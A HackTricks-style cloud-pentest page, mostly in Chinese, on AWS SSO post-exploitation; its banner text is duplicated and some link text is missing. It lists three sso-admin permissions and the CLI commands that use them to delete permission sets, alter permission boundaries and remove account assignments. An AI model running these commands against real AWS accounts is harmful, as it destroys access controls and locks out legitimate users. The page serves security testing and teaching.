AWS - SSO & identitystore Post Exploitation

学习和实践 AWS 黑客技术：学习和实践 GCP 黑客技术：

支持 HackTricks

查看 !
加入 💬 或或在 Twitter 🐦 ** 上关注我们。**
通过向 和 github 仓库提交 PR 分享黑客技巧。

SSO & identitystore

有关更多信息，请查看：

`sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`

这些权限可用于破坏权限：

学习与实践 AWS 黑客技术：学习与实践 GCP 黑客技术：

支持 HackTricks

查看 !
加入 💬 或或在 Twitter 🐦 上关注我们 .
通过向 和 GitHub 仓库提交 PR 来分享黑客技巧。

PreviousAWS - SQS Post Exploitation NextAWS - Step Functions Post Exploitation

Last updated 3 days ago

aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --permissions-boundary-policy-arn <PolicyARN>

aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>